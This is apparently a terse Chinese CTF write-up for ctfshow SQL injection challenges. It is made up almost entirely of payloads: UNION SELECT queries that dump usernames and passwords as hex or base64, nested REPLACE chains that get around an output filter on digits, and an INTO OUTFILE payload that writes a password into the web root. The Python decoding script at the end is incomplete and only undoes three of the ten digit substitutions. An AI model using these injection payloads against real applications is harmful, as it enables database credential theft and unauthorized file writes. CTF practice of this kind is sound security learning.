1' union select hex(id),hex(username),hex(password) from ctfshow_web.ctfshow_user3--+ 如果回显点少的话,可以在后面加上limit 3,5# 即表示,从第三列数据开始输出五列
1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag'--+
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
有效负载
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') ,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' limit 1,1-- A
然后写一个py脚本输出flag
import base64
flagstr = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
flag = flagstr.replace('numA','1').replace('numB','2').replace('numC','3')
print(base64.b64decode(flag))
1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt'-- A